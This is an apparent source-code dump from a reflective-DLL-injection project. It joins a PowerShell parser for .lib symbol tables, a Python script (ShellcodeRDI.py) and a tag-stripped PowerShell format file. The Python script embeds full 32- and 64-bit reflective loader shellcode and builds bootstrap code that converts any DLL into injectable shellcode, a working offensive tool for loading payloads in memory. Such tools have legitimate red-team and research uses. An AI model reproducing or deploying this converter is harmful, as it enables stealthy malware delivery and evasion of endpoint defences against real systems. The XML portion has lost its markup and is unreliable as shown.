[CmdletBinding()] Param ( 46 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 47 | [ValidateScript({ Test-Path $_ })] 48 | [Alias('FullName')] 49 | [String[]] 50 | $Path 51 | ) 52 | 53 | BEGIN 54 | { 55 | $Code = @' 56 | using System; 57 | using System.IO; 58 | using System.Text; 59 | using System.Runtime.InteropServices; 60 | 61 | namespace COFF 62 | { 63 | public class HEADER 64 | { 65 | public ushort Machine; 66 | public ushort NumberOfSections; 67 | public DateTime TimeDateStamp; 68 | public uint PointerToSymbolTable; 69 | public uint NumberOfSymbols; 70 | public ushort SizeOfOptionalHeader; 71 | public ushort Characteristics; 72 | 73 | public HEADER(BinaryReader br) 74 | { 75 | this.Machine = br.ReadUInt16(); 76 | this.NumberOfSections = br.ReadUInt16(); 77 | this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); 78 | this.PointerToSymbolTable = br.ReadUInt32(); 79 | this.NumberOfSymbols = br.ReadUInt32(); 80 | this.SizeOfOptionalHeader = br.ReadUInt16(); 81 | this.Characteristics = br.ReadUInt16(); 82 | } 83 | } 84 | 85 | public class IMAGE_ARCHIVE_MEMBER_HEADER 86 | { 87 | public string Name; 88 | public DateTime Date; 89 | public ulong Size; 90 | public string EndHeader; 91 | 92 | public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br) 93 | { 94 | string tempName = Encoding.UTF8.GetString(br.ReadBytes(16)); 95 | DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0); 96 | this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47)); 97 | this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0])); 98 | br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields. 99 | this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]); 100 | this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2)); 101 | } 102 | } 103 | 104 | public class Functions 105 | { 106 | [DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)] 107 | public static extern int UnDecorateSymbolName( 108 | [In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName, 109 | [Out] StringBuilder UnDecoratedName, 110 | [In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength, 111 | [In] [MarshalAs(UnmanagedType.U4)] uint Flags); 112 | } 113 | } 114 | '@ 115 | 116 | Add-Type -TypeDefinition $Code 117 | 118 | function Dispose-Objects 119 | { 120 | $BinaryReader.Close() 121 | $FileStream.Dispose() 122 | } 123 | } 124 | 125 | PROCESS 126 | { 127 | foreach ($File in $Path) 128 | { 129 | # Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path. 130 | $LibFilePath = Resolve-Path $File 131 | 132 | # Pull out just the file name 133 | $LibFileName = Split-Path $LibFilePath -Leaf 134 | 135 | $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60 136 | $IMAGE_ARCHIVE_START = "!`n" # Magic used for lib files 137 | $IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length 138 | $IMAGE_ARCHIVE_END = "```n" # Footer of an archive header 139 | $SizeofCOFFFileHeader = 20 140 | 141 | # Open the object file for reading 142 | $FileStream = [IO.File]::OpenRead($LibFilePath) 143 | 144 | $FileLength = $FileStream.Length 145 | 146 | # Validate lib header size 147 | if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR) 148 | { 149 | # You cannot parse the lib header if the file is not big enough to contain a lib header. 150 | Write-Error "$($LibFileName) is too small to store a lib header." 151 | $FileStream.Dispose() 152 | return 153 | } 154 | 155 | # Open a BinaryReader object for the lib file 156 | $BinaryReader = New-Object IO.BinaryReader($FileStream) 157 | 158 | $ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8)) 159 | 160 | if ($ArchiveStart -ne $IMAGE_ARCHIVE_START) 161 | { 162 | Write-Error "$($LibFileName) does not contain a valid lib header." 163 | Dispose-Objects 164 | return 165 | } 166 | 167 | # Parse the first archive header 168 | $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) 169 | 170 | if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END) 171 | { 172 | Write-Error "$($LibFileName) does not contain a valid lib header." 173 | Dispose-Objects 174 | return 175 | } 176 | 177 | # Check for the existence of symbols 178 | if ($ArchiveHeader.Size -eq 0) 179 | { 180 | Write-Warning "$($LibFileName) contains no symbols." 181 | Dispose-Objects 182 | return 183 | } 184 | 185 | $NumberOfSymbols = $BinaryReader.ReadBytes(4) 186 | 187 | # The offsets in the first archive header of a Microsoft lib file are stored in big-endian format 188 | if ([BitConverter]::IsLittleEndian) 189 | { 190 | [Array]::Reverse($NumberOfSymbols) 191 | } 192 | 193 | $NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0) 194 | 195 | $SymbolOffsets = New-Object UInt32[]($NumberOfSymbols) 196 | 197 | foreach ($Offset in 0..($SymbolOffsets.Length - 1)) 198 | { 199 | $SymbolOffset = $BinaryReader.ReadBytes(4) 200 | 201 | if ([BitConverter]::IsLittleEndian) 202 | { 203 | [Array]::Reverse($SymbolOffset) 204 | } 205 | 206 | $SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0) 207 | } 208 | 209 | $SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1 210 | # $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) 211 | 212 | # Write-Output $SymbolStrings 213 | 214 | # There will be many duplicate offset entries. Remove them. 215 | $SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique 216 | 217 | $SymbolOffsetsSorted | ForEach-Object { 218 | # Seek to the each repective offset in the file 219 | $FileStream.Seek($_, 'Begin') | Out-Null 220 | 221 | $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) 222 | 223 | # This is not a true COFF header. It's the same size and mostly resembles a standard COFF header 224 | # but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file' 225 | # consists solely of the module name and symbol. 226 | $CoffHeader = New-Object COFF.HEADER($BinaryReader) 227 | 228 | # Check for 0xFFFF flag value 229 | if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue) 230 | { 231 | # Get the total length of the module and symbol name 232 | $SymbolStringLength = $CoffHeader.NumberOfSymbols 233 | $Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) 234 | 235 | $DecoratedSymbol = $Symbols[0] 236 | $UndecoratedSymbol = '' 237 | 238 | # Default to a 'C' type symbol unless it starts with a '?' 239 | $SymbolType = 'C' 240 | 241 | # Is the symbol a C++ type? 242 | if ($DecoratedSymbol.StartsWith('?')) 243 | { 244 | $StrBuilder = New-Object Text.Stringbuilder(512) 245 | # Magically undecorated the convoluted C++ symbol into a proper C++ function definition 246 | [COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null 247 | $UndecoratedSymbol = $StrBuilder.ToString() 248 | $SymbolType = 'C++' 249 | } 250 | else 251 | { 252 | if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@') 253 | { 254 | $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] 255 | } 256 | else 257 | { 258 | $UndecoratedSymbol = $DecoratedSymbol.Split('@')[0] 259 | } 260 | } 261 | 262 | $SymInfo = @{ 263 | DecoratedName = $DecoratedSymbol 264 | UndecoratedName = $UndecoratedSymbol 265 | Module = $Symbols[1] 266 | SymbolType = $SymbolType 267 | } 268 | 269 | $ParsedSymbol = New-Object PSObject -Property $SymInfo 270 | $ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo' 271 | 272 | Write-Output $ParsedSymbol 273 | } 274 | } 275 | 276 | # Close file and binaryreader objects 277 | Dispose-Objects 278 | } 279 | } 280 | 281 | END {} 282 | } -------------------------------------------------------------------------------- /Python/ShellcodeRDI.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | if sys.version_info < (3,0): 4 | print("[!] Sorry, requires Python 3.x") 5 | sys.exit(1) 6 | 7 | import pefile 8 | from struct import pack 9 | 10 | #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b 11 | #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b 12 | 13 | def is64BitDLL(bytes): 14 | pe = pefile.PE(data=bytes, fast_load=True) 15 | return (pe.OPTIONAL_HEADER.Magic == 0x20b) 16 | 17 | ror = lambda val, r_bits, max_bits: \ 18 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 19 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) 20 | 21 | def HashFunctionName(name, module = None): 22 | 23 | function = name.encode() + b'\x00' 24 | 25 | if(module): 26 | module = module.upper().encode('UTF-16LE') + b'\x00\x00' 27 | 28 | functionHash = 0 29 | 30 | for b in function: 31 | functionHash = ror(functionHash, 13, 32) 32 | functionHash += b 33 | 34 | moduleHash = 0 35 | 36 | for b in module: 37 | moduleHash = ror(moduleHash, 13, 32) 38 | moduleHash += b 39 | 40 | functionHash += moduleHash 41 | 42 | if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000 43 | 44 | else: 45 | functionHash = 0 46 | 47 | for b in function: 48 | functionHash = ror(functionHash, 13, 32) 49 | functionHash += b 50 | 51 | return functionHash 52 | 53 | def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None'): 54 | 55 | rdiShellcode64 = b"\xe9\x1b\x04\x00\x00\xcc\xcc\xcc\x48\x89\x5c\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xec\x10\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x8b\xf1\x48\x8b\x50\x18\x4c\x8b\x4a\x10\x4d\x8b\x41\x30\x4d\x85\xc0\x0f\x84\xb4\x00\x00\x00\x41\x0f\x10\x41\x58\x49\x63\x40\x3c\x33\xd2\x4d\x8b\x09\xf3\x0f\x7f\x04\x24\x42\x8b\x9c\x00\x88\x00\x00\x00\x85\xdb\x74\xd4\x48\x8b\x04\x24\x48\xc1\xe8\x10\x44\x0f\xb7\xd0\x45\x85\xd2\x74\x21\x48\x8b\x4c\x24\x08\x45\x8b\xda\x0f\xbe\x01\xc1\xca\x0d\x80\x39\x61\x7c\x03\x83\xc2\xe0\x03\xd0\x48\xff\xc1\x49\x83\xeb\x01\x75\xe7\x4d\x8d\x14\x18\x33\xc9\x41\x8b\x7a\x20\x49\x03\xf8\x41\x39\x4a\x18\x76\x8f\x8b\x1f\x45\x33\xdb\x49\x03\xd8\x48\x8d\x7f\x04\x0f\xbe\x03\x48\xff\xc3\x41\xc1\xcb\x0d\x44\x03\xd8\x80\x7b\xff\x00\x75\xed\x41\x8d\x04\x13\x3b\xc6\x74\x0d\xff\xc1\x41\x3b\x4a\x18\x72\xd1\xe9\x5b\xff\xff\xff\x41\x8b\x42\x24\x03\xc9\x49\x03\xc0\x0f\xb7\x14\x01\x41\x8b\x4a\x1c\x49\x03\xc8\x8b\x04\x91\x49\x03\xc0\xeb\x02\x33\xc0\x48\x8b\x5c\x24\x20\x48\x8b\x74\x24\x28\x48\x83\xc4\x10\x5f\xc3\xcc\xcc\xcc\x44\x89\x4c\x24\x20\x4c\x89\x44\x24\x18\x89\x54\x24\x10\x53\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x83\xec\x38\x48\x8b\xe9\x45\x8b\xe1\xb9\x4c\x77\x26\x07\x44\x8b\xf2\xe8\xd7\xfe\xff\xff\xb9\x49\xf7\x02\x78\x4c\x8b\xe8\xe8\xca\xfe\xff\xff\xb9\x58\xa4\x53\xe5\x48\x89\x84\x24\x80\x00\x00\x00\xe8\xb8\xfe\xff\xff\xb9\xaf\xb1\x5c\x94\x48\x8b\xd8\xe8\xab\xfe\xff\xff\x48\x63\x75\x3c\x33\xc9\x48\x03\xf5\x48\x89\x44\x24\x20\x41\xb8\x00\x30\x00\x00\x4c\x8b\xf8\x44\x8d\x49\x40\x8b\x56\x50\xff\xd3\x44\x8b\x46\x54\x48\x8b\xf8\x48\x8b\xcd\x41\xbb\x01\x00\x00\x00\x4d\x85\xc0\x74\x13\x48\x8b\xd0\x48\x2b\xd5\x8a\x01\x88\x04\x0a\x49\x03\xcb\x4d\x2b\xc3\x75\xf3\x44\x0f\xb7\x4e\x06\x0f\xb7\x46\x14\x4d\x85\xc9\x74\x38\x48\x8d\x4e\x2c\x48\x03\xc8\x8b\x51\xf8\x4d\x2b\xcb\x44\x8b\x01\x48\x03\xd7\x44\x8b\x51\xfc\x4c\x03\xc5\x4d\x85\xd2\x74\x10\x41\x8a\x00\x4d\x03\xc3\x88\x02\x49\x03\xd3\x4d\x2b\xd3\x75\xf0\x48\x83\xc1\x28\x4d\x85\xc9\x75\xcf\x8b\x9e\x90\x00\x00\x00\x48\x03\xdf\x8b\x43\x0c\x85\xc0\x0f\x84\x91\x00\x00\x00\x48\x8b\xac\x24\x80\x00\x00\x00\x8b\xc8\x48\x03\xcf\x41\xff\xd5\x44\x8b\x3b\x4c\x8b\xe0\x44\x8b\x73\x10\x4c\x03\xff\x4c\x03\xf7\xeb\x49\x49\x83\x3f\x00\x7d\x29\x49\x63\x44\x24\x3c\x41\x0f\xb7\x17\x42\x8b\x8c\x20\x88\x00\x00\x00\x42\x8b\x44\x21\x10\x42\x8b\x4c\x21\x1c\x48\x2b\xd0\x49\x03\xcc\x8b\x04\x91\x49\x03\xc4\xeb\x0f\x49\x8b\x16\x49\x8b\xcc\x48\x83\xc2\x02\x48\x03\xd7\xff\xd5\x49\x89\x06\x49\x83\xc6\x08\x49\x83\xc7\x08\x49\x83\x3e\x00\x75\xb1\x8b\x43\x20\x48\x83\xc3\x14\x85\xc0\x75\x8c\x44\x8b\xb4\x24\x88\x00\x00\x00\x4c\x8b\x7c\x24\x20\x44\x8b\xa4\x24\x98\x00\x00\x00\x4c\x8b\xd7\x41\xbd\x02\x00\x00\x00\x4c\x2b\x56\x30\x83\xbe\xb4\x00\x00\x00\x00\x41\x8d\x6d\xff\x0f\x84\x97\x00\x00\x00\x44\x8b\x86\xb0\x00\x00\x00\x4c\x03\xc7\x41\x8b\x40\x04\x85\xc0\x0f\x84\x81\x00\x00\x00\xbb\xff\x0f\x00\x00\x41\x8b\x10\x4d\x8d\x58\x08\x44\x8b\xc8\x48\x03\xd7\x49\x83\xe9\x08\x49\xd1\xe9\x74\x57\x41\x0f\xb7\x0b\x4c\x2b\xcd\x0f\xb7\xc1\x66\xc1\xe8\x0c\x66\x83\xf8\x0a\x75\x09\x48\x23\xcb\x4c\x01\x14\x11\xeb\x32\x66\x83\xf8\x03\x75\x09\x48\x23\xcb\x44\x01\x14\x11\xeb\x23\x66\x3b\xc5\x75\x10\x48\x23\xcb\x49\x8b\xc2\x48\xc1\xe8\x10\x66\x01\x04\x11\xeb\x0e\x66\x41\x3b\xc5\x75\x08\x48\x23\xcb\x66\x44\x01\x14\x11\x4d\x03\xdd\x4d\x85\xc9\x75\xa9\x41\x8b\x40\x04\x4c\x03\xc0\x41\x8b\x40\x04\x85\xc0\x75\x84\x8b\x5e\x28\x45\x33\xc0\x33\xd2\x48\x83\xc9\xff\x48\x03\xdf\x41\xff\xd7\x4c\x8b\xc5\x8b\xd5\x48\x8b\xcf\xff\xd3\x45\x85\xf6\x0f\x84\x93\x00\x00\x00\x83\xbe\x8c\x00\x00\x00\x00\x0f\x84\x86\x00\x00\x00\x8b\x96\x88\x00\x00\x00\x48\x03\xd7\x44\x8b\x5a\x18\x45\x85\xdb\x74\x74\x83\x7a\x14\x00\x74\x6e\x44\x8b\x52\x20\x33\xdb\x44\x8b\x4a\x24\x4c\x03\xd7\x4c\x03\xcf\x45\x85\xdb\x74\x59\x45\x8b\x02\x4c\x03\xc7\x33\xc9\x41\x0f\xbe\x00\x4c\x03\xc5\xc1\xc9\x0d\x03\xc8\x41\x80\x78\xff\x00\x75\xed\x44\x3b\xf1\x74\x10\x03\xdd\x49\x83\xc2\x04\x4d\x03\xcd\x41\x3b\xdb\x72\xd2\xeb\x29\x41\x0f\xb7\x01\x83\xf8\xff\x74\x20\x8b\x52\x1c\x48\x8b\x8c\x24\x90\x00\x00\x00\xc1\xe0\x02\x48\x98\x48\x03\xc7\x44\x8b\x04\x02\x41\x8b\xd4\x4c\x03\xc7\x41\xff\xd0\x48\x8b\xc7\x48\x83\xc4\x38\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5f\x5e\x5d\x5b\xc3\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x56\x48\x8b\xf4\x48\x83\xe4\xf0\x48\x83\xec\x20\xe8\xcf\xfc\xff\xff\x48\x8b\xe6\x5e\xc3"; 56 | rdiShellcode32 = b"\x83\xEC\x20\x53\x55\x56\x57\xB9\x4C\x77\x26\x07\xE8\x20\x03\x00\x00\xB9\x49\xF7\x02\x78\x89\x44\x24\x18\xE8\x12\x03\x00\x00\xB9\x58\xA4\x53\xE5\x89\x44\x24\x1C\xE8\x04\x03\x00\x00\xB9\xAF\xB1\x5C\x94\x8B\xF0\xE8\xF8\x02\x00\x00\x8B\x6C\x24\x34\x6A\x40\x68\x00\x30\x00\x00\x89\x44\x24\x34\x8B\x5D\x3C\x03\xDD\x89\x5C\x24\x18\xFF\x73\x50\x6A\x00\xFF\xD6\x8B\x73\x54\x8B\xF8\x89\x7C\x24\x28\x8B\xD5\x85\xF6\x74\x0F\x8B\xCF\x2B\xCD\x8A\x02\x88\x04\x11\x42\x83\xEE\x01\x75\xF5\x0F\xB7\x6B\x06\x0F\xB7\x43\x14\x85\xED\x74\x34\x8D\x4B\x2C\x03\xC8\x8B\x44\x24\x34\x8B\x51\xF8\x4D\x8B\x31\x03\xD7\x8B\x59\xFC\x03\xF0\x85\xDB\x74\x0F\x8A\x06\x88\x02\x42\x46\x83\xEB\x01\x75\xF5\x8B\x44\x24\x34\x83\xC1\x28\x85\xED\x75\xD9\x8B\x5C\x24\x10\x8B\xB3\x80\x00\x00\x00\x03\xF7\x89\x74\x24\x14\x8B\x46\x0C\x85\xC0\x74\x7D\x03\xC7\x50\xFF\x54\x24\x1C\x8B\x6E\x10\x8B\xD8\x8B\x06\x03\xEF\x03\xC7\x89\x44\x24\x34\x83\x7D\x00\x00\x74\x4F\x8B\x74\x24\x1C\x8B\x08\x85\xC9\x74\x1E\x79\x1C\x8B\x43\x3C\x0F\xB7\xC9\x8B\x44\x18\x78\x2B\x4C\x18\x10\x8B\x44\x18\x1C\x8D\x04\x88\x8B\x04\x18\x03\xC3\xEB\x0C\x8B\x45\x00\x83\xC0\x02\x03\xC7\x50\x53\xFF\xD6\x89\x45\x00\x83\xC5\x04\x8B\x44\x24\x34\x83\xC0\x04\x89\x44\x24\x34\x83\x7D\x00\x00\x75\xB9\x8B\x74\x24\x14\x8B\x46\x20\x83\xC6\x14\x89\x74\x24\x14\x85\xC0\x75\x87\x8B\x5C\x24\x10\x8D\x83\xE0\x00\x00\x00\x85\xC0\x74\x79\x8B\x00\x85\xC0\x74\x73\x8D\x77\x04\x03\xF0\x89\x74\x24\x34\x83\x3E\x00\x74\x65\x8B\x06\x03\xC7\x50\xFF\x54\x24\x1C\x8B\x6E\x0C\x8B\xD0\x8B\x46\x08\x03\xEF\x03\xC7\x89\x54\x24\x24\x89\x44\x24\x20\x8B\x4D\x00\x85\xC9\x74\x31\x8B\x74\x24\x20\xB8\x00\x00\x40\x00\x2B\xC7\x8B\xD8\x8D\x47\x02\x03\xC1\x50\x52\xFF\x54\x24\x24\x8B\x54\x24\x24\x8D\x6D\x04\x03\xC3\x89\x06\x8D\x76\x04\x8B\x4D\x00\x85\xC9\x75\xE0\x8B\x74\x24\x34\x83\xC6\x20\x89\x74\x24\x34\x83\x3E\x00\x75\x9F\x8B\x5C\x24\x10\x8B\xEF\xC7\x44\x24\x20\x01\x00\x00\x00\x2B\x6B\x34\x83\xBB\xA4\x00\x00\x00\x00\x0F\x84\xAA\x00\x00\x00\x8B\x93\xA0\x00\x00\x00\x03\xD7\x89\x54\x24\x34\x8D\x4A\x04\x8B\x01\x89\x4C\x24\x1C\x85\xC0\x0F\x84\x8D\x00\x00\x00\x8B\x32\x8D\x58\xF8\x03\xF7\x8D\x42\x08\xD1\xEB\x89\x44\x24\x24\x74\x60\x6A\x02\x8B\xF8\x5A\x0F\xB7\x0F\x4B\x66\x8B\xC1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x74\x06\x66\x83\xF8\x03\x75\x0B\x81\xE1\xFF\x0F\x00\x00\x01\x2C\x31\xEB\x27\x66\x3B\x44\x24\x20\x75\x11\x81\xE1\xFF\x0F\x00\x00\x8B\xC5\xC1\xE8\x10\x66\x01\x04\x31\xEB\x0F\x66\x3B\xC2\x75\x0A\x81\xE1\xFF\x0F\x00\x00\x66\x01\x2C\x31\x03\xFA\x85\xDB\x75\xB1\x8B\x7C\x24\x28\x8B\x54\x24\x34\x8B\x4C\x24\x1C\x03\x11\x89\x54\x24\x34\x8D\x4A\x04\x8B\x01\x89\x4C\x24\x1C\x85\xC0\x0F\x85\x77\xFF\xFF\xFF\x8B\x5C\x24\x10\x8B\x73\x28\x6A\x00\x6A\x00\x6A\xFF\x03\xF7\xFF\x54\x24\x38\x33\xC0\x40\x50\x50\x57\xFF\xD6\x83\x7C\x24\x38\x00\x74\x7C\x83\x7B\x7C\x00\x74\x76\x8B\x4B\x78\x03\xCF\x8B\x41\x18\x85\xC0\x74\x6A\x83\x79\x14\x00\x74\x64\x8B\x69\x20\x8B\x71\x24\x03\xEF\x83\x64\x24\x34\x00\x03\xF7\x85\xC0\x74\x51\x8B\x5D\x00\x03\xDF\x33\xD2\x0F\xBE\x03\xC1\xCA\x0D\x03\xD0\x43\x80\x7B\xFF\x00\x75\xF1\x39\x54\x24\x38\x74\x16\x8B\x44\x24\x34\x83\xC5\x04\x40\x83\xC6\x02\x89\x44\x24\x34\x3B\x41\x18\x72\xD0\xEB\x1F\x0F\xB7\x16\x83\xFA\xFF\x74\x17\x8B\x41\x1C\xFF\x74\x24\x40\xFF\x74\x24\x40\x8D\x04\x90\x8B\x04\x38\x03\xC7\xFF\xD0\x59\x59\x8B\xC7\x5F\x5E\x5D\x5B\x83\xC4\x20\xC3\x83\xEC\x10\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x18\x8B\x70\x0C\xE9\x8A\x00\x00\x00\x8B\x46\x30\x33\xC9\x8B\x5E\x2C\x8B\x36\x89\x44\x24\x14\x8B\x42\x3C\x8B\x6C\x10\x78\x89\x6C\x24\x10\x85\xED\x74\x6D\xC1\xEB\x10\x33\xFF\x85\xDB\x74\x1F\x8B\x6C\x24\x14\x8A\x04\x2F\xC1\xC9\x0D\x3C\x61\x0F\xBE\xC0\x7C\x03\x83\xC1\xE0\x03\xC8\x47\x3B\xFB\x72\xE9\x8B\x6C\x24\x10\x8B\x44\x2A\x20\x33\xDB\x8B\x7C\x2A\x18\x03\xC2\x89\x7C\x24\x14\x85\xFF\x74\x31\x8B\x28\x33\xFF\x03\xEA\x83\xC0\x04\x89\x44\x24\x1C\x0F\xBE\x45\x00\xC1\xCF\x0D\x03\xF8\x45\x80\x7D\xFF\x00\x75\xF0\x8D\x04\x0F\x3B\x44\x24\x18\x74\x20\x8B\x44\x24\x1C\x43\x3B\x5C\x24\x14\x72\xCF\x8B\x56\x18\x85\xD2\x0F\x85\x6B\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x10\xC3\x8B\x74\x24\x10\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB"; 57 | 58 | if is64BitDLL(dllBytes): 59 | 60 | rdiShellcode = rdiShellcode64 61 | 62 | bootstrap = b'' 63 | bootstrapSize = 34 64 | 65 | # call next instruction (Pushes next instruction address to stack) 66 | bootstrap += b'\xe8\x00\x00\x00\x00' 67 | 68 | #Here is where the we pop the address of our next instruction off the stack and into the first register 69 | # pop rcx 70 | bootstrap += b'\x59' 71 | 72 | # mov r8, rcx - copy our location in memory to r8 before we start modifying RCX 73 | bootstrap += b'\x49\x89\xc8' 74 | 75 | # Setup the location of the DLL into RCX 76 | # add rcx, 29 (Size of bootstrap from pop) + 77 | bootstrap += b'\x48\x81\xc1' 78 | dllLocation = bootstrapSize - 5 + len(rdiShellcode); 79 | bootstrap += pack('I', dllLocation) 80 | 81 | # mov edx, 82 | bootstrap += b'\xba' 83 | bootstrap += pack('I', functionHash) 84 | 85 | # Setup the location of our user data 86 | # add r8, (Size of bootstrap) + + 87 | bootstrap += b'\x49\x81\xc0' 88 | userDataLocation = bootstrapSize - 5 + len(rdiShellcode) + len(dllBytes); 89 | bootstrap += pack('I', userDataLocation) 90 | 91 | # mov r9d, 92 | bootstrap += b'\x41\xb9' 93 | bootstrap += pack('I', len(userData)) 94 | 95 | # Ends up looking like this in memory: 96 | # Bootstrap shellcode 97 | # RDI shellcode 98 | # DLL bytes 99 | # User data 100 | return bootstrap + rdiShellcode + dllBytes + userData 101 | 102 | else: # 32 bit 103 | rdiShellcode = rdiShellcode32 104 | 105 | bootstrap = b'' 106 | bootstrapSize = 40 107 | 108 | # call next instruction (Pushes next instruction address to stack) 109 | bootstrap += b'\xe8\x00\x00\x00\x00' 110 | 111 | #Here is where the we pop the address of our next instruction off the stack and into the first register 112 | # pop rcx 113 | bootstrap += b'\x58' 114 | 115 | # mov ebx, eax - copy our location in memory to ebx before we start modifying eax 116 | bootstrap += b'\x89\xc3' 117 | 118 | # add eax, + 119 | bootstrap += b'\x05' 120 | dllLocation = bootstrapSize - 5 + len(rdiShellcode); 121 | bootstrap += pack('I', dllLocation) 122 | 123 | # add ebx, + + 124 | bootstrap += b'\x81\xc3' 125 | userDataLocation = bootstrapSize - 5 + len(rdiShellcode) + len(dllBytes); 126 | bootstrap += pack('I', userDataLocation) 127 | 128 | # push 129 | bootstrap += b'\x68' 130 | bootstrap += pack('I', len(userData)) 131 | 132 | # push ebx 133 | bootstrap += b'\x53' 134 | 135 | # push 136 | bootstrap += b'\x68' 137 | bootstrap += pack('I', functionHash) 138 | 139 | # push eax 140 | bootstrap += b'\x50' 141 | 142 | # call instruction - We need to transfer execution to the RDI assembly this way (Skip over our next few op codes) 143 | bootstrap += b'\xe8\x04\x00\x00\x00' 144 | 145 | # add esp, 0x10 - RDI pushes things to the stack it never removes, we need to make the correction ourselves 146 | bootstrap += b'\x83\xc4\x10' 147 | 148 | # ret - because we used call earlier 149 | bootstrap += b'\xc3' 150 | 151 | # Ends up looking like this in memory: 152 | # Bootstrap shellcode 153 | # RDI shellcode 154 | # DLL bytes 155 | # User data 156 | return bootstrap + rdiShellcode + dllBytes + userData 157 | 158 | return False; 159 | -------------------------------------------------------------------------------- /lib/PowerShell/Get-ObjDump.format.ps1xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ObjectFileView 6 | 7 | COFF.OBJECT_FILE 8 | 9 | 10 | 11 | 12 | 13 | 14 | COFFHeader 15 | 16 | 17 | SectionHeaders 18 | 19 | 20 | SymbolTable 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | COFFHeaderView 29 | 30 | COFF.HEADER 31 | 32 | 33 | 34 | 35 | 36 | 37 | Machine 38 | 39 | 40 | NumberOfSections 41 | 0x{0:X4} 42 | 43 | 44 | TimeDateStamp 45 | 46 | 47 | PointerToSymbolTable 48 | 0x{0:X8} 49 | 50 | 51 | NumberOfSymbols 52 | 0x{0:X8} 53 | 54 | 55 | SizeOfOptionalHeader 56 | 0x{0:X4} 57 | 58 | 59 | Characteristics 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | SectionHeaderView 68 | 69 | COFF.SECTION_HEADER 70 | 71 | 72 | 73 | 74 | 75 | 76 | Name 77 | 78 | 79 | PhysicalAddress 80 | 0x{0:X8} 81 | 82 | 83 | VirtualSize 84 | 0x{0:X8} 85 | 86 | 87 | VirtualAddress 88 | 0x{0:X8} 89 | 90 | 91 | SizeOfRawData 92 | 0x{0:X8} 93 | 94 | 95 | PointerToRawData 96 | 0x{0:X8} 97 | 98 | 99 | PointerToRelocations 100 | 0x{0:X8} 101 | 102 | 103 | PointerToLinenumbers 104 | 0x{0:X8} 105 | 106 | 107 | NumberOfRelocations 108 | 0x{0:X4} 109 | 110 | 111 | NumberOfLinenumbers 112 | 0x{0:X4} 113 | 114 | 115 | Characteristics 116 | 117 | 118 | RawData 119 | 120 | 121 | Relocations 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | SymbolTableView 130 | 131 | COFF.SYMBOL_TABLE 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | Name 163 | 164 | 165 | Value 166 | 0x{0:X8} 167 | 168 | 169 | SectionNumber 170 | 171 | 172 | Type 173 | 174 | 175 | StorageClass 176 | 177 | 178 | NumberOfAuxSymbols 179 | 0x{0:X2} 180 | 181 | 182 | AuxSymbols 183 | 